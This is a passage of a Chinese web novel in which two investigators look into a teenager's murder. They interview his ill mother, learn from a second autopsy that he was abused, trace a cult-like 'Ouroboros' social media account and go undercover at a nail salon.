祝好特地观察了停在酒店楼下的车,发现已经没有哪辆车里还坐着人了。也就是说,西临市的警方应该没再派人监视他们,这么一来他们的行动也方便不少。
她慢悠悠从酒店门口走到大马路,时间也才过去不到五分钟,估摸着程述洗头洗澡和穿衣服的时间加起来,还得花上个十来分种呢,索性在街上瞎逛起来。
西临市人民的夜生活还算丰富,虽然已经接近十点钟,路上还是有许多往来的行人。城管一下班,路边就涌出了许多摆地摊卖东西的摊贩。
祝好瞥见一个满头白发的老奶奶摊子上有许多手链、吊坠之类的小玩意儿,亮晶晶的十分可爱,便蹲下身挑选起来。
见她拿起一对小猫耳环,老奶奶给她递上一面镜子。祝好把耳环举在耳垂边,正对着镜子比划,无意中一转头,却从镜子里对上了一道视线。
她心头无端一紧,下意识猛地回头在身后熙熙攘攘的人群中四下寻找,却一无所获。
自从上回被孙彪绑架过后,祝好变得谨慎不少。比起怀疑自己看走眼,她更愿意相信自己的第六感。
她不动声色地把镜子和耳环都放回摊上,抱歉地对老奶奶笑了一下,起身往酒店的方向走去,这一路下来,身后的目光一直在跟随着她。
走进岔路,远离了人群,周遭顿时安静不少,身后的脚步声也愈加明显。
祝好有如芒刺在背,余光看向路边商家的橱窗,心里登时“咯噔”一跳:从玻璃倒影中,她看到身后有个人,速度不快不慢,却始终与她保持着五六米的距离。
当她加快脚步时,身后的脚步声也越来越快,玻璃的倒影中,他与祝好的距离不断缩短,并且在即将接近她时,突然朝她伸出了一只手。
祝好的脑袋里蓦地警铃大作,头也不回拔腿就往酒店跑。所幸她与酒店的距离并不远,只花了十多秒钟就到了大厅。
酒店大厅灯火通明,她内心却依旧慌乱无措,没有丝毫安全感,在前台接待员差异的目光中冲向电梯,上了五楼,颤抖着叩响房间的门:“老大,快开门。”
门一打开,祝好立刻不管不顾地往前一扑,蓦地撞进了一个湿漉漉的胸膛。
“……”程述冷不丁被她推得往后退了两步,下意识攥紧腰间的浴巾,低头看她,皱着眉问:“怎么了你?”
祝好大口喘着气,心脏差点从胸腔蹦出去。听到程述的声音,一颗悬着的心才缓缓落地,语无伦次地回答:“刚才……有人跟着我。”
“有人跟着你?”程述探头往走廊上看了几眼,却发现空无一人。
他把门锁上,架着祝好的胳膊把她扶到沙发上坐下,问她:“是什么样的人,你看清楚了吗?”
祝好惊魂未定,全身止不住微微颤抖,脑子一片混乱。蜷在沙发上回想了片刻,还是摇了摇头。
刚才她只透过玻璃橱窗的倒影匆匆瞥了一眼,根本看不清那个人的样貌,只知道好像是个戴着口罩的男人。
程述拧开一瓶水递给她,问:“你确定他是在跟着你?”
祝好喝了几口水,堪堪恢复了些神智,又有些拿不定了:毕竟那一条岔路上商店都关门了,只有酒店还在营业,说不定对方只是同一家酒店的客户呢?
难道自己是因为被孙彪绑了一回,留下了心理阴影,所以才变得疑神疑鬼、草木皆兵的?
第102章
程述想了想:“我一会儿去前台看看酒店门口的监控。”
祝好点点头,突然觉得胸口有些凉意,低头一看,才发现自己外套前面洇湿了一片,还沾着些沐浴露的泡沫,应该是刚才慌乱之下扑到程述怀里时被弄湿的。
再抬头看程述,他刚才出来得匆忙,上半身光裸着,只随意在腰间围了条浴巾。水珠不停从他的发梢滴落,顺着肌肉/沟壑往下流淌。
祝好脸颊烧红,下意识捂住鼻子:“咳,老大,要不你先穿件衣服吧,別、别着凉了。”
程述奇怪地瞥了她一眼,转身回了浴室。再出来时,已经换上了干净的T恤和宽松的运动裤,他随手拿起一件外套披在身上,对祝好道:“你先洗澡,锁好房门,我一会儿就回来。”
等祝好洗好澡换了衣服,大约过了十分钟,程述才返回房间,还带着从前台的电脑里拷贝的监控视频。
监控里能看到确有个人一直跟在祝好身后,并且试图叫住她,在她受到惊吓仓皇而逃后,那个人在原地站了一会儿,并没有要追上前的意思,片刻后便转身离开了。
不过监控的清晰度不算高,那个人又戴着口罩,完全看不清样貌。
祝好问:“会不会是警方的人?”
程述很快否定了她的猜想:“警方的跟踪技术可不会那么拙劣,至少不会被你发觉。”
“那会是谁?”
程述摇了摇头,又说:“不过我看这个人似乎并没有打算刻意隐藏自己,反而更像是想找你搭话。”
祝好不解:“搭话?”
她在西临市人生地不熟,连个认识的人都没有,怎么会有人想找自己搭话?难道又是什么变态跟踪狂吗?
程述没再继续这个话题,沉吟片刻,只是说了句:“明晚我们就换个地方住,不住这儿了。”
终于可以换个正常的酒店、也不需要面对住同一个房间的尴尬了,祝好求之不得,赶紧点头答应。
*
第二天吃过早饭,他们先退了房,换了家普通的酒店。
前台服务员低头办理入住手续,问道:“开几间房?”
两个人的声音几乎同时响起——
祝好:“两间。”
程述:“一间。”
祝好:“?”
程述瞥了她一眼:“安全起见,还是住一个房间吧。还有,在西临市的这段时间,你尽量跟我呆在一起,别离开我的视线。”
祝好一时想不到理由反驳,而且不得不承认,经历了昨晚那件事之后,还是跟他呆在一起比较有安全感,只好点点头,又转头对前台补充道:“一间双人房。”
办好入住手续,把行李拿到房间里放好后,程述在路边的水果店买了个果篮,又让祝好去花店随便买了束花,然后叫了辆出租车,报上了陈瑞泽家的地址。
根据陈瑞泽的资料显示,他的母亲名叫刘沛玲,原本是一名普通的酒店清洁工,几年前因病辞职后一直在家休养,陈瑞泽的父亲一人打两份工,苦苦支撑着整个家庭。
本来一家人的生活就已经很艰难了,可麻绳专挑细处断,偏偏陈瑞泽又出了这样的事,不用想也知道他们承受了多大的打击。
陈瑞泽家在一家玻璃厂的家属区,这里街道混乱、楼房众多,出租车司机开着车在堆满杂物的羊肠小道开了两圈后还是找不到地方,只好在原点把他们放下,告诉他们步行比较方便。
一路上询问了五六个人,在错综复杂的小路里绕了半个钟,他们才终于找到了陈瑞泽住的那栋家属楼的位置。
这是一栋上了年纪的旧楼,楼体的墙漆已经脱落得七七八八了,楼道里阴暗潮湿,昏黄的灯泡苟延残喘地闪烁着。
祝好在门口踌躇半天,迟迟下不了决心敲门。如果不是为了尽早完成剧情任务,她实在不想去面对受害者家属,毕竟那份痛苦她也能够感同身受。
程述低头看了她一眼,抬手敲了敲门。
为了看起来更像“老师”,他今天特地把头发梳得整整齐齐,平时最常穿的那件做旧皮衣外套也换成了黑色夹克,看起来正经不少。
没一会儿门就打开了一条缝,从门缝中探出半张略显沧桑的脸。
祝好立刻换上一副友善的笑脸:“你好,我
们是陈瑞泽同学以前在第一中学的老师,刚刚在电话里联系过的。”
开门的应该就是陈瑞泽的妈妈刘沛玲,她身材瘦小,一头短发稀稀疏疏,两颊上有几片显眼的红斑,身上穿着一件不太合身的蓝色运动外套,不像是她这个年纪的女人会穿的款式,更像是陈瑞泽淘汰下来的衣服。
她的反应有些慢半拍,顿了一下,才把门打开:“哦,进来吧。”
厚厚的窗帘把窗外的阳光遮得严严实实,客厅里除了一张两人座的沙发和一张堆满药瓶的茶几之外,就没有别的家具了,杂物和废弃的纸箱随处可见,几乎没有落脚的地方。
刘沛玲对他们的到来似乎没什么防备,但也没有很热情,连水也没打算给他们倒,她缓缓走到沙发上坐下,淡淡地说了句:“随便坐坐。”
说是随便坐坐,但除了那张沙发,也没有其他可以坐的地方了。
祝好把带来的果篮和花束放在地上,挨着她坐下,程述也不客气,抱着双臂,一屁股坐在了角落里的一摞纸箱上。
“陈瑞泽妈妈,我们刚听说了陈瑞泽同学的事,真的十分难过,特地代表学校来探望你们,如果有什么需要的,可以跟我说。”
刘沛玲低头摩挲着自己肿胀的手指关节,低低地“嗯”了一声,脸上的表情却几乎没有变化,仿佛那个被虐杀后埋葬在荒地里的孩子跟自己没关系一般。
就算陈瑞泽再叛逆,毕竟也是她亲生儿子,刘沛玲这样的表现未免有些反常。
“冒昧问一句,”程述的目光掠过桌上的药瓶,突然转头问刘沛玲:“您得的是红斑狼疮吗?”
刘沛玲一愣,点了点头。
祝好恍然:难怪她头发稀疏、两边面颊上长着对称的红斑,又把房间的窗帘拉得严实——畏光、关节肿胀疼痛、斑秃等等,都是红斑狼疮的病症。
“那个……”祝好想了想,没再做铺垫,直接进入正题:“请问伤害瑞泽的凶手找到了吗?”
刘沛玲点了点头:“嗯。”
“是……谁?”
祝好以为她会说周逸的名字,没想到她叹了口气,声音喑哑:“是恶魔和他的信徒。”
祝好一头雾水,跟程述对视了一眼。
程述顺着她的话问:“你见过那个……恶魔吗?”
她摇了摇头:“我看不到。”
祝好完全没听明白她在说什么,转头向程述头去询问的目光,没想到他同样也是一脸疑惑。
她该不会是在病魔和失去孩子的双重折磨下,精神出问题了吧?
祝好清了清嗓,岔开话题:“瑞泽妈妈,我们班的同学一起给陈瑞泽买了一束花,拜托我放在他的床头,请问方便让我们进他房间吗?”
刘沛玲没说话,只是讷讷地转头看了她一眼,抬手指了指一扇紧闭的房门。
程述对祝好使了个眼色,两个人一起起身进了房间,轻轻合上了门。
陈瑞泽的家本就不宽敞,他的房间更是十分逼仄,一张单人床、一张书桌和一个破旧的衣柜,就已经占据了几乎所有空间,程述又人高马大的,祝好连转个身都十分艰难。
房间看起来很整洁,衣柜里的衣服不多,但都叠得整整齐齐。
书桌也收拾得很干净,程述打开抽屉,从里面拿出几本初中的练习册,翻开一看,脸上闪过一丝诧异。
祝好看到他的表情变化,赶紧凑上前,立刻明白他惊讶的原因。
许多还在上学的孩子尚且不会认真完成作业,可“叛逆、辍学、经常离家出走”的陈瑞泽却认真地完成了练习册里的每一道题,甚至还会对着答案修改错题,标注出易错的地方。
把练习题放回抽屉里后,程述弯下腰,从床底找到了一块滑板,上面落满了灰尘,看起来它的主人至少把它遗忘在床底有几年时间了。
门外突然传来一阵男人的咳嗽声,祝好轻轻拍了拍程述,他心领神会,把滑板推回床底,两人一起离开了陈瑞泽的房间。
客厅里站着个穿着外卖员背心、戴着头盔的中年男人,手里提着一份盒饭。看到程述和祝好,他朝刘沛玲投去询问的目光,刘沛玲解释:“瑞泽以前学校的老师。”
又向程述和祝好介绍:“这是我丈夫,他给我打包了午饭。”
男人只看了他们一眼,微微颔首算是问好,把盒饭递给刘沛玲后,一言不发地转身要出门。
“老陈。”刘沛玲突然叫住他:“别忘了明天的事。”
男人点点头,关上门离开了。
“那我们也先回去了,您注意身体,好好养病。”祝好斟词酌句,思索着安慰的话语结束这次的会面:“瑞泽真的是个好孩子,这种事情发生在他身上,我们也很惋惜,希望……”
没等她说完,刘沛玲蓦地抬眼看她,表情无波无澜:“没关系的,不用惋惜。”
祝好打好的腹稿被硬生生卡在咽喉里,差点以为自己听错了,脱口而出:“你说什么?”
刘沛玲忽然笑了,浑浊的眼珠子闪过一丝神光:“我说,不用惋惜,终结只是新的开始。”
祝好顺着她的话思考片刻,还是没明白她的意思,程述同样微微皱眉,看着也是一脸茫然。
刘沛玲没有注意到他们神情的异样,只是双手合十,自顾自地喃喃低语:“大曰逝,逝曰远,远曰反。他只是暂时去了一个更好的地方,马上就会回来了。”
第103章
从陈瑞泽家离开时,已经是中午了,家属楼附近还挺热闹,不少人吃过午饭后搬来家里的小凳子,围坐在一棵大榕树下聊天、下棋,不远处还有小孩子在嬉戏打闹。
走出阴暗潮湿的楼道,晌午刺眼的阳光当头洒下,落在身上却好似一片白晃晃的雪光。祝好无端有些发冷,忍不住打了个寒颤。
刘沛玲那番什么远,什么反的言论听得祝好如坠云雾,可那句“他马上就会回来的”却让人不寒而栗。
从哪儿回来?从温珣的解剖台吗?
是不是正因为坚信陈瑞泽会回来,她对他的死才没有变现出丝毫难过?
祝好呼了口气:“老大,你觉得刘沛玲是不是精神失常了?”
程述摇了摇头,正要说些什么,手机突然响起。他顿住脚步,掏出手机看了眼来电显示,勾起嘴角挑了挑眉。
是什么来电能让他露出这样的表情?祝好忍不住抻长脖子看了眼屏幕,来电显示写着“哈根达尸”。
他接起电话:“喂,温主任?”
祝好:“……”
片刻后,他脸上的戏谑消失了,眉头逐渐拧紧,“嗯”了一声:“我知道了。”
等他挂了电话,祝好忙问:“怎么了?”
程述垂着眼沉默片刻,走到花坛边坐下:“温珣对陈瑞泽的尸体重新做了一次尸检,在他身上发现了性侵留下的痕迹。”
祝好心底“咯噔”一下:“性侵?”
程述点头:“他的大腿内侧和肛|门周围有不少陈旧性伤痕,根据温珣的判断,持续的时间至少有两三年了。”
突然得到的新线索不但没有给案件带来突破,反而让祝好的脑子一片浆糊,嗓子也有些发紧:“长达几年的性侵……会是谁做的?”
程述两条长腿交叠着,目光无意识地落在鞋尖的一片落叶上:“没提取到精|液,没办法判断是谁做的,不过在未成年人性侵的案件里,身边熟人作案的几率很高。”
熟人……祝好想到吕宏远那个案子,冒出了一个令人毛骨悚然的想法:“难道是他爸爸吗?”
刚才在陈瑞泽家里,跟他爸爸打照面的时间并不长,但回想起他的沉默寡言和阴郁的神情,总是给人一种“隐藏在人群中的变态”的刻板印象。
程述没有说话,抬起头若有所思地看向空地上几个正在玩滑板的少年,朝他们勾了勾手:“喂,小子,过来,哥哥问你们几个问题。”
几个少年对视一眼,非但没有动身,还聚在一
起哄笑:“大叔,你都一把年纪了还好意思自称哥哥啊?”
“……大叔?”
程述一时噎住,脸上分明写着“我这么玉树临风帅气逼人你们居然喊我大叔”的难以置信。
看他吃瘪的样子,祝好绷不住笑出声来:“大叔,我来搞定吧,你去便利店买几瓶冰可乐就行。”
程述没吭声,黑着脸走了。
祝好手肘支在膝盖上,托腮认真地看着几个少年滑了一会儿,等他们停下休息的时候,才挪到他们旁边坐下,朝着一个穿着黑色T恤的少年莞尔一笑:“你刚刚那个动作好帅啊,可以教教我吗?”
少年得到夸奖,耳廓泛红,脸上却是藏不住的骄傲:“这是kickflip,我练了快半年才学会,新手可不能一上来就练这个。”
祝好站起身,拍了拍身上的灰尘,一脸诚恳地问:“那新手要从什么动作开始学?”
黑T恤少年把自己的滑板平放在地上:“你先试着站到滑板上,看看能不能保持平衡。”
他用鞋尖点了点滑板中间的位置:“双手张开,保持身体平衡,左脚踩到这儿。”
祝好依言用左脚踩着滑板中间。
少年继续指导她:“右脚踩到板尾,膝盖微微弯曲,当心点儿。”
祝好小心翼翼把另一只脚踩上去,一下子没稳住,身体突然失去平衡,整个人猝不及防向后倒,幸好程述恰好提着可乐回来,眼疾手快一把架住她,才不至于摔个大屁墩。
在地上站稳后,祝好朝几个滑板少年投去赞叹的目光:“这也太难了吧,你们可真厉害。”
这个年纪的少年本就爱面子,受到女孩子的夸赞,个个面红耳赤,纷纷谦虚道:“嗐,这没什么,多练练就学会了。”
祝好接过程述手里的可乐发给他们,半搭茬半套话:“诶,你们玩滑板多久了?”
几个少年接过可乐七嘴八舌回答道:“我也才玩了半个月。”“两三年了。”“我玩儿了五年!从小学就开始了。”
祝好看向那个玩的时间比较久的黑T恤少年:“那你们认不认识一个叫陈瑞泽的男生?年纪跟你们差不多大,之前也玩滑板的。”
黑T恤少年想了想:“陈瑞泽?他之前是不是在一中上学的?”
“没错。”祝好赶紧拿出手机,打开陈瑞泽的照片递给他。
少年看了一眼:“对,就是他,他当时还跟我同班,不过才读了几个月就辍学了。”
另一个少年接过话茬:“是他呀,他就住我楼下,之前还经常跟我们一块儿滑板。听我妈说,他好像……出事了?”
程述没回答,问道:“他从什么时候开始没来滑板了?”
拿人手短,吃人嘴短。
少年喝了他买的可乐,也没好意思再拿他取乐,老老实实回答:“大概两三年前吧,他之前几乎每天都来,后来突然消失了几个月,听说是他妈妈生病了,要陪她去治病。”
“再后来,他就没再来玩滑板了,我在小区里也很少看到他。偶尔见到跟他打招呼,他都不搭理我,低着头走得飞快,跟变了个人似的。”
两三年前,跟尸检时在他身上发现的被性侵的痕迹的时间一致。
祝好问:“他是不是变得很叛逆?”
“叛逆?”几个少年笑了起来:“那小子是个三好学生,成绩挺好的,人也很老实,跟叛逆哪里沾边儿了?”
从他们的三言两语中,祝好很快拼凑出了一个跟资料里完全不同的陈瑞泽。
陈瑞泽本来性格开朗,学习成绩也不错,虽然不是名列前茅,但在班里也能排在中上游的位置。
自从刘沛玲生病后,他不知怎么的突然就从学校辍学了,也很少在家附近出现,就算偶尔见到之前的朋友也是匆匆离开,连招呼都不打。
看来一切都是从刘沛玲诊断出红斑狼疮之后开始的。
程述沉吟片刻,问道:“你们认识陈瑞泽的爸爸吗?”
几个人面面相觑,都摇了摇头,只有那个住在陈瑞泽家楼上的少年回答道:“他爸爸好像挺忙的,白天要跑外卖,晚上还要帮别人看仓库,很少回家。”
程述双手插在口袋里,微微眯起眼睛:“那你有没有发现过他爸爸有什么奇怪的举动?比如……对你们这个年纪的孩子特别亲近和友善。”
少年摇头:“没有,他爸爸很少说话,总是板着一张脸,有时候我在路上跟他打招呼,他都不搭理我。”
问到这儿,程述心里似乎已经有了答案,摆摆手打发他们:“行,你们继续玩儿吧。”
*
离开玻璃厂的家属区,他们在附近街边的一家的馄饨店坐下来,打算随便解决午饭。
馄饨店的桌子和椅子对程述来说实在有些太矮,他那两条长腿无处安放,看起来别扭极了。
跟老板点了两份馄饨后,他调整了一下坐姿,没头没脑地开口:“恋童癖没办法控制自己对儿童和青少年产生性幻想或性冲动,一般情况下,他们都会对表现得很友善,找机会主动接近那些孩子。”
祝好明白了:别说主动接近了,陈瑞泽的爸爸连那些少年的招呼都不会回应,不符合恋童癖的特征。
如果不是陈瑞泽的爸爸,那又会是谁干的呢?周逸吗?
馄饨很快端了上来,晶莹剔透的面皮包裹着虾仁肉馅,热腾腾的汤面上撒着紫菜和葱花,香气四溢。
程述似乎也拿不准,只说:“周逸家在城西,里这儿不算太远,反正今天还有时间,待会儿可以过去看看。”
祝好点点头,低头吃馄饨。吃到一半抬起头,却发现程述碗里的馄饨一点儿没动,不知在想什么。
“老大,你怎么不吃?”
程述头也不抬:“我在想刘沛玲说的那句话。”
“哪句?”
“‘大曰逝,逝曰远,远曰反’。”程述解释:“我查了一下,这是老子在《道德经》里的一句话,意思就是事物发展到一定程度就会离去,离去就会远去,远去后又返回本原。”
祝好若有所思:“能说点人话吗?”
程述无奈地扫了她一眼:“简单点说,就是万物从出生到壮大,从壮大到衰败,从衰败到死亡,从死亡到新生,都是循环往复的。”
“循环……”
祝好不吭声了,用勺子搅动碗里的汤,看着汤面上打转的紫菜发呆。
程述支着下巴看她:“还听不懂?”
“听懂了……一点儿。”祝好搁下勺子,双手撑在腿上:“不对,老大,我可是正经念过大学的人。”
程述瞥她一眼,没听明白:“所以呢?”
“连你都要上网查一遍才知道这句话的意思,可刘沛玲只有初中学历,她怎么能脱口而出这么有哲理的句子?”
不仅如此,她似乎还对这句话深信不疑。
正常人都不会觉得死去的人能够回来,她又为什么会相信?
程述闻言,眉头微微一皱:“除非……是有某个很信任的人这么告诉她的。”
第104章
祝好晃着腿坐在奶茶店里,捧着一杯热奶茶,透过玻璃往外看。
不远处一栋老旧的居民楼,就是周逸生前住的地方。楼前的空地上有一张颇具年代感的石桌,几个大妈正围在一起择菜、聊天,程述也坐在其中,十分自然地与她们谈笑风生。
聊了一会儿,他起身摆手向几个大妈道别,转身的瞬间,刚才那张讨人喜欢的笑脸立刻消失了,取而代之是一副无波无澜的表情。
有时候祝好觉得他就像是一台没有感情的机器,永远客观冷静、条分缕析,不论面对什么样的人,他好像都能游刃有余地融入其中,在“利用”完后,又能不带一丝感情地把自己抽离出来。
他推开奶茶店的门,在祝好身边的空位坐下,长长的舒了口气,仿佛刚才的聊天给他带来带来的疲惫不亚于进行了一次完整的十项全能。
祝好把早就点好的一杯奶茶推到他面前,满怀期待地
问道:“怎么样?”
他吸了两口奶茶,耸了耸肩:“挺好的,她们已经把我的工作、年龄、月收入、有没有车房、喜欢什么类型的女孩以及接不接受入赘都打听清楚了。”
“……”祝好无奈又好笑:“让你用美男计去打探情报,你怎么反倒被攻陷了?”
他挑眉笑了笑:“交换信息也是打探情报的一种手段。”
祝好:“那你交换到什么信息了?”
“很多。”
果然不论在哪里,退休的大妈们永远是最强的情报组织,闲来无事跟她们唠两句,把她们哄高兴了,不管是哪户邻居家的八卦都能搞到手。
周逸和他妈妈王丽文是三年前搬到这儿的,按照几个大妈的说法,周逸是个很不讨喜的孩子,沉默寡言,见到人从不会主动打招呼,还总是跟他妈妈发脾气,经常能听到他们在家里大吵大闹。
祝好问:“吵什么?”
程述:“她们也没听全,只知道大概是周逸觉得他妈妈不相信他的话之类的。”
半年前,王丽文突然在家里服用安眠药自杀了,奇怪的是,周逸全程一滴眼泪都没掉,连后事都是几个好心的邻居和他妈妈的朋友帮忙操办的。
“不过那几个阿姨说,周逸对他妈妈的那些朋友态度也很不好,不仅一句感谢的话都没有,还推搡着要他们离开。他妈妈死后不久,他就变卖了家里所有的家具和电器,也很少回这儿住了,那些大妈也不知道他去了哪里。”
难怪秦聿风说他家里空空如也,什么也没有呢,原来那些家具和电器都是被他自己卖掉的。
祝好十分满意:靠色相换来的情报,果然量大管饱。
她翻了翻手里的资料,又抬头朝着那栋破旧的居民楼看了一眼,有了新的疑问:“王丽文生前可是公司高管,工资不低,之前住的还是高档公寓,为什么会突然带着周逸搬到这种旧小区来呢?”
*
吃过晚饭天已经黑了,回到酒店没多久,程述就接到了局长打来的电话,询问他这几天查到的线索,他指了指卫生间,示意祝好先洗澡,拿着手机离开了房间。
看得出来,局长真的如温珣所说“十分啰嗦”,祝好洗了澡在床上躺了一会儿,程述那一通电话还没打完。
这几天忙着查案,她几乎没时间跟几个可攻略对象交流,不如就趁现在跟他们联络一下,多培养培养感情,说不定还能提升点好感度呢。
祝好拿起手机,首先给秦聿风打了个电话。
秦聿风用的是李砚川的备用手机,里面只存了祝好和程述电话,这几天程述跟他偶有联络,所以调查的进度他基本都清楚。
电话很快接通。
“祝小姐。”
“秦警官,这几天过得好吗?”
秦聿风苦笑一声:“挺好的,李砚川隔天就会送吃的过来给我,我每天吃了睡、睡了吃,一开始还不习惯,现在反而有些享受了。”
祝好安慰他:“你就当给自己放假嘛,这边有我们,你不用担心!”
“好,不过你们一定要注意安全。”
祝好:“放心吧,有老大在,他聪明得很,不会上当的。”
说完又意识到什么,赶紧找补:“我、我不是说你不聪明,只是敌人太狡猾了,防不胜防。”
秦聿风笑:“我知道,这次的事多谢你们了,我等你回来,别忘了我们还要一起去游乐园呢。”
又闲聊了几句,祝好挂断了秦聿风的电话,屏幕还没暗下来,就收到了李砚川发来的语音:“好好,你们的事情办得怎么样了?白眼狼好像有点想你了。”
下面还附带了一个视频,点开一看,白眼狼正悠哉悠哉地摊开肚皮地躺在他黑色的真丝床单上,鸡毛掸子似的大尾巴一摇一摇的,好不快活。
祝好觉得好笑:“是吗?从哪儿看出来的?”
“它平时都能吃一整个罐头,今天才吃了半个,应该就是因为太想你了吧。”李砚川说着,自己也没忍住笑出来:“好好,你什么时候回来?”
祝好在床上躺下来,望着天花板发呆:“还不知道呢,听秦警官说你这几天常给他送吃的,辛苦你了。”
“小事而已,别跟我那么客气。”顿了顿,他又不放心地叮嘱:“好好,你一定要平安回来。”
祝好“嗯”了一声:“知道了,我们没事。”
互道晚安后,祝好已经精疲力竭了,但还是强打精神给温珣发了个表情,然后把手机放在一旁,长吁了一口气。
虽然系统只要求她与一个可攻略对象的好感度达到100点就算完成剧情,但是只有好感度越高,才能获得更多积分,所以她只能想办法尽量做到雨露均沾。
有那么一瞬间,她挺同情以前的皇帝的,三个人她都搞不定,皇帝要搞定三千个呢。
手边的手机突然响起了温珣的声音:“祝好,有事吗?”
祝好腾地从床上蹦起来,抓起手机一看,屏幕上赫然出现了温珣的笑脸,这才反应过来刚才不小心误触了视频通话,而温珣已经接起来了。
她慌忙对着镜头整理自己蓬乱的头发:“没没没、没事,我不小心摁错了。”
温珣笑了笑:“没事就行,你在干什么呢?”
“我吗?今天我和老大去了陈瑞泽和周逸家,现在正在酒店休息呢。你呢?”
“我在陪我妈妈看电视呢。”
一个挽着头发、容貌精致的女人突然凑到温珣旁边:“小珣,这就是你说的那个姑娘吗?”
温珣点头:“对,她叫祝好。祝好,这是我妈妈。”
祝好愣了一下,赶紧朝着屏幕打招呼:“阿姨好。”
温珣的妈妈接过手机,笑得乐开花:“你好你好,哟,这姑娘长得真好看。阿姨经常听小珣提起你,一直想见见你呢,改天有空我们一起吃饭。”
祝好没什么应对长辈的经验,干笑了一声,客套地回应:“好的,阿姨。”
“好了,妈,你让祝好休息吧,她在外地出差一定累坏了。”温珣拿过手机,叮嘱道:“祝好,你住酒店记得锁好门,别让坏人……”
手里的手机突然被夺走,祝好吓了一跳,抬头一看,才发现程述不知什么时候回来了,正拿着她的手机对着屏幕贱兮兮地笑:“温主任不用担心,我跟她住一块儿呢,会替你保护她的。好了,我们要办正事了,不跟你闲聊了,挂了啊。”
没等祝好反应过来,视频已经被他挂断了。
她气得脸色涨红,赶紧抢过手机给温珣发了条信息解释:“温珣,你别听程述胡说。”
温珣很快回复她:“没事,我知道那家伙是故意的。”
祝好这才松了口气,转头恶狠狠地瞪了程述一眼:“你干什么呢!”
幸亏温珣善解人意,万一他误会了,好不容易积攒的那点好感度降低,那她一定要跟程述拼命。
程述佯装无辜一摊手:“我没得说错啊,确实是要办正事。”
祝好没好气:“什么正事?”
程述没吭声,拿起手机不知在找什么。祝好凑上前,看到他在社交软件的搜索框里输入了王丽文之前所在公司的名字,往下划拉了一阵,终于在一众广告宣传中找到了一条讣告,配图里的黑白照正是王丽文。
讣告中艾特了一个账号,应该是王丽文的工作号,账号发布的内容不多,基本都是跟公司业务有关的宣传,但其中有一条转发的内容格外显眼——“大曰逝,逝曰远,远曰反”。
祝好心头一突:这不是刘沛玲说过的话吗?
发布那条内容的账号名为“Ouroboros”,点进去一看,关注者不多,里面都是些不知所云的话,例如什么“一切众生,从无始际,由有种种恩爱贪欲,故有轮回”“生是死的起点,死是生的总结”“名利权情,皆为枷锁,唯有放下一切,才能获得真正的自由”之类。
乍一看,都是些无聊的心灵鸡汤,但是那个账号的头像却让祝好头皮发麻。
头像上是一条衔着自己尾巴的蛇,组成了一个无限符号“∞”。
衔尾蛇在很多宗教和文化里都代表着循环和永生,与“大曰逝,逝曰远,远曰反”的含义不谋而合。
而更让祝好心头发瘆的,是她突然想到之前在陈瑞泽尸体的食管中发现的那枚被腐蚀的徽章。
当时他们一直认为徽章上那个模糊不清的图案是个“8”,这时她脑袋里突然掠过一个模糊的想法,“8”横躺下来,不就是一个“∞”吗?
第105章
祝好早晨起来刚打开手机,就收到了一条来自西临市气象台的短信,说有台风即将登陆这座沿海城市,届时可能会有大暴雨来临,请广大市民提前做好防御工作。
不知道是不是受到台风影响,街上的行人和车辆寥寥无几。吃了早餐,程述先去事先联系好的一家租车行租了辆车——这几天在各个地方来回跑,坐出租车也花了不少钱,虽然警局答应报销,但终归还是开车方便些。
拿到车后,他按照手机上的导航,把车开到一条街道边停了下来。
透过车窗,可以看到街对面有一家小小的店铺,白底粉字的招牌上写着“靓丽美学”,下面还有一行小字:纹绣、美甲、美容。
昨天晚上,他们在名为Ouroboros的社交账号里,发现了一个转发、互动很频繁的人,通过对方账号里的内容,确认了她就是这家店的老板。商量过后,决定让祝好假扮成顾客,去打听关于这个Ouroboros的线索。
祝好把一枚小小的窃听器别在外套内衬里,压低声音:“老大,你听得到吗?”
“……”驾驶座上的程述无奈地瞥了她一眼:“你说我听不听得到?”
祝好解开完全带,理了理衣摆:“听得到就行,那我去了。”
程述不放心地叮嘱她:“当心别露馅了,如果发现不对劲的地方就找借口离开,我就在这儿等你。”
祝好嫌弃他唧唧歪歪的,摆了摆手:“知道了,不就是打探消息嘛,有什么危险的,你就等着看我表演吧。”
他还想说些什么,但祝好没给他机会,拉开车门就往马路对面走去。
她站在路边做了个深呼吸,酝酿了一会儿感情,推开了“靓丽美学”的玻璃门。
店铺面积不大,墙上挂着的架子上摆满了五颜六色的指甲油,贴着过时的美女海报,
店主是一个四十岁出头的女人,微胖,留着一头挑染的玉米烫,正躺在店里的美容床打盹。听到动静,她翻身下床,朝着祝好殷勤地笑了笑:“小妹,想做什么项目?纹眉、纹唇还是做个美容?”
纹眉纹唇是肯定不行的,祝好的目光落在桌上那几瓶不知名的护肤品上,也打消了做美容的念头,她想了想,说:“做个美甲吧。”
店主应了一声,从抽屉里拿了本相册递给她:“看看喜欢什么款式?”
相册的封面都已经翘边儿了,看起来有些年头,里面的款式自然也不是祝好喜欢的。
看她迟迟没决定,店主热情地向她推荐:“要不挑个红色?适合你们这个年纪的小姑娘。”
一想到红色指甲油,祝好就忍不住全身发冷,赶紧摇了摇头:“不了,要个黑色吧。”
选好了颜色,她在美甲桌前坐下。店主坐在对面,抓起她的手替她修整甲型、打磨甲面。
从进店开始,祝好一直嘴角向下,眼帘低垂,确保眉宇间有淡淡的哀愁——这个表情,她早上特地对着镜子练习了十几分钟呢。
店主做生意久了,很快就将她的情绪尽收眼底,看了她五六回后,终于还是忍不住问:“怎么,小妹妹,你心情不好吗?”
祝好像是突然回过神,勉强扯了扯嘴角,露出一个干巴巴的苦笑,闷闷地“嗯”了一声:“有点儿。”
说完,又重重地叹了口:“姐,你说人生的意义到底是什么呢?”
店主笑了笑——那笑里没有任何惊讶或者嘲讽的意思,反而十分真诚:“为什么会突然想到这个问题?”
好奇心如果太快得到满足,就会对话题失去兴趣。祝好默不作声地摇了摇头,没再说话。
果不其然,店主看她没吭声,停下手里的活儿,又一次问她:“怎么回事儿?不介意的话,可以跟姐说说。”
祝好低下头,半晌才开口:“我刚跟我男朋友吵架了,我心里好难受。”
店主俨然一副知心大姐姐的模样,皱了皱眉,问:“为什么吵架呀,出什么事了吗?”
“我们都觉得自己给对方的爱,比对方给自己的要多。”
店主善解人意地笑了一下,没打断她,耐心聆听着。
祝好咬了咬嘴唇,眼眶逐渐泛红:“可是从他第一次见面就对我态度很差,总是不在乎我的感受,觉得自己永远都是对的,难道这就是爱的表现吗?”
“那你喜欢他什么?”
祝好想了想:“他长得挺帅的。”
店主噗嗤笑出声:“你们小姑娘啊,就是颜控,帅能当饭吃吗?最重要的还是要找个对你好的。”
